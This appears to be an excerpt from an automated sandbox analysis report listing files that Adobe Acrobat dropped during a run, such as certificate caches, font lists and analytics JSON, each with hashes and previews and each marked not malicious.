Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl8CYpstfllXlE/HT8ktNNNX8RolJuRdxLlGB9lQRYwpDdt:kKlCYyeT8kzNMa8RdWBwRd
MD5:	E2C0617C9FC58F1AD06327453D11FCAE
SHA1:	357A24236F5106F460A1E09DF53E7B67118F1A02
SHA-256:	9A4D7F3C8CAE00535B390BBD815820049408D1A2B9AAD274839E75A660AB9C4E
SHA-512:	4DB0253A513FF14CB6F41D119155162050FE14617CE58AD15FF9268B51ADA8364D0DC533A7FCC15CF968D830AA67C5854294892E2C308EF63B1CE65C55D63B1F
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....HD..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKqL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:yiDImsLNkPlE99SNxAhUe/3
MD5:	9DC7D53E836B1E124457895BEB50C96E
SHA1:	5747DF78300A440E0D814E3F822E7F32F5D5A21D
SHA-256:	7018A2321EF66EACF7A7014724FEE7DBFD2726FB3FAFC4DF56847F07479F9496
SHA-512:	31C0C18D6C0E969DE259F7C15D21AEC93AB86C3F289375F9F3B802AB1128B2547814C49EBADA90D23E73C4D676C0F1FA4532E8666C8D80D3DBCA76CC7A6A8FE6
Malicious:	false
Preview:	p...... ........>....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363985981127695
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJM3g98kUwPeUkwRe9:YvXKXWVdUTbdGJZGMbLUkee9
MD5:	E7B034A29DD84EC651FDB08A3199B901
SHA1:	153ECE14E2BEEE1D9D45A15C5DBC7B05D00F5808
SHA-256:	E0B5A34CA5B463B28E3A18A72CBDC0A4C44B7B22CF9DA8EE04627A7235E1D754
SHA-512:	D2A4335598373F2AAE85A0C3C2BB00574393DC4E6F39B3F784AE54DB563E7947DAD7D5BB2F304258236AD59EB41AE1D37FCC9FF86C3F40C460F650B07C586F15
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3013429452728875
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfBoTfXpnrPeUkwRe9:YvXKXWVdUTbdGJZGWTfXcUkee9
MD5:	9BB310B1EC9B552881A3DCD9D6A0F4B5
SHA1:	BFC1DBF10A89F77D85DF18A296A25792D8A99729
SHA-256:	57E457E14BE2EA8D18CFD456497AB2E129FEE198F0C0B2AC6F69A95B518D8364
SHA-512:	162E32CDE75EDC6CAAB57AE2E0FBCDB9870FF69D07907D80A8BC0EEF39D01C5C805E69253682548B7ACFDC21662337E683C78573C0BDA1C24C80386AA28870CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2805406932420915
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfBD2G6UpnrPeUkwRe9:YvXKXWVdUTbdGJZGR22cUkee9
MD5:	F23A92843FC982BA0916136734959D11
SHA1:	06FA6DC475EC616A1754EBEEAEF44B532988B041
SHA-256:	97D8D732703D6DC378E993105DDE77291412DBF905755C6CAC377D81686E9A65
SHA-512:	78F69B57DD1A8EDF8F94A33D719921C5C8ED4BFD11B56BE4F14DACAF12ADEC1E3F4D4D597368FEBE0DA7E2B88DA83478F1BAA2CD876360ED74F8826E4D85C5BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.338286536448582
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfPmwrPeUkwRe9:YvXKXWVdUTbdGJZGH56Ukee9
MD5:	6B69C5A53BC93872C9998D07791EB812
SHA1:	F87290B8D1417324C73AA7AA5E2EE8E8E5800BC4
SHA-256:	1EAAEC9CC6479F8EA2FC7E56B3E9E28B76C15A99BBE2384AC3C728F90A4E83B2
SHA-512:	0CB40568DBE0F4181A12F9DC79407C4327D5E3AB3BF5FC4370C923F8AFE035B90B66744ECA8349F88432053FF0290F1DD10677B64F9C302E530B3A231276EEDE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687989602554562
Encrypted:	false
SSDEEP:	24:Yv6X+UXdpLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:Yvnwdhgy6SAFv5Ah8cv/I
MD5:	C67D019DCE59C5F7736A3E889BEE436B
SHA1:	1384A5E5450BDFF3CC01A9D9527E8AD50D2816EA
SHA-256:	AAAAC1FDD92B7695D64934B62C63C2792F5ABC5B326A4603C5450919B2A01813
SHA-512:	C361E3B80829BF85C0DE804D7E6119859EFF551B8DCCBEBCF44B4B1035462DE07A33E0D5B3294A5ABEB300C47772017A4A30DE94EFCBFBF6434BCF293CC39C54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279199189637897
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJf8dPeUkwRe9:YvXKXWVdUTbdGJZGU8Ukee9
MD5:	88BF4675179FBE9435D43DA726C7C971
SHA1:	802F12B997A57414C5DD6E176785265A42879243
SHA-256:	ABF6C26EEDBEF3B5C6EC70A46F295A34EEB76ECEA88928640E25A7B3FBA7448B
SHA-512:	CA9BFA139ABC559F58A9A238BC633A4EAA2257376DBF70FBDCC7801661C9942F6AD868564F500D0EEDEF1D79A772060A7DEE72029AAD9FEB9235D1C92622CF2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282646747527254
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfQ1rPeUkwRe9:YvXKXWVdUTbdGJZGY16Ukee9
MD5:	B427B418710E37DE81172ECCE8008A1E
SHA1:	BD039812CDC28939C0382B42ED37DF3C918531E5
SHA-256:	D54C75BD05FEF1FF906A7FEBDB30FA4FFC43564762800FE46CF7D8D922CDC0E8
SHA-512:	A0DFE3F327C0D41D0D063FB868CCFC908D3445AA42DE955FEFF36055AC0291AFDDB59EA3B7FF3DA144FE6AA9F31D9FC5E3C9AE10143E3F8DE3A79D9083056557
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290684125343722
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfFldPeUkwRe9:YvXKXWVdUTbdGJZGz8Ukee9
MD5:	D5FF6DE0B7F7926D30476CE47501A697
SHA1:	32E9FF46F34FEDA02E16AAD0BADD4F83DE6CC19E
SHA-256:	B9FA335B249777A8302E6C77E2700463598C7D849C3D259C569E62296E747942
SHA-512:	B0AB2F71D790492BB449F704875F7ABF77B1E2DFB66C565994870545959493DB09002A05F9F9628D6F53C6D2624714EBF97BA0CF86BD2491CC6354969BB4C90C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304735941304183
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfzdPeUkwRe9:YvXKXWVdUTbdGJZGb8Ukee9
MD5:	C65E83D3D5165529BB26FDB08C1E75FE
SHA1:	CB5238C70A37E23076A9D35532E229382F5B205E
SHA-256:	8330C2391F86AC612600A256CF3103D9B9EB7DB9BC441E8E322CA9695B071C8D
SHA-512:	2EBEACA980BE30ECBA20132583DDBA70A8F0BDC6D03F23EA1685B2AA2621BA4E014DAEFB10975EC824B959453D1D6A7EA0E0B13A3D5B419C2E60AC0E8AFB8B26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50d33073-80b4-4faf-8808-0d4a7f3a99e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736761779298,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285353472752868
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5suXjyK2UXjb24kF0YdJqoAvJfYdPeUkwRe9:YvXKXWVdUTbdGJZGg8Ukee9
MD5:	CE91F737E00C96C9E2345E9FE5CF714A
SHA1:	3C5D7FE1ADBEC085221643FF8CB55129C5F9A524
SHA-256:	144492E5124FE9B597CA60EAD4518768E116A5D717E663076B5ABC709178B914
SHA-512:	603ADCB6027FB88360F093CE51913418B96D28A02545F24D56E22A6E369242D4274ACA1CC70C0525942C8EABE9863D6FF09599585D6A80A810AAC2147CAB325A
Malicious:	false
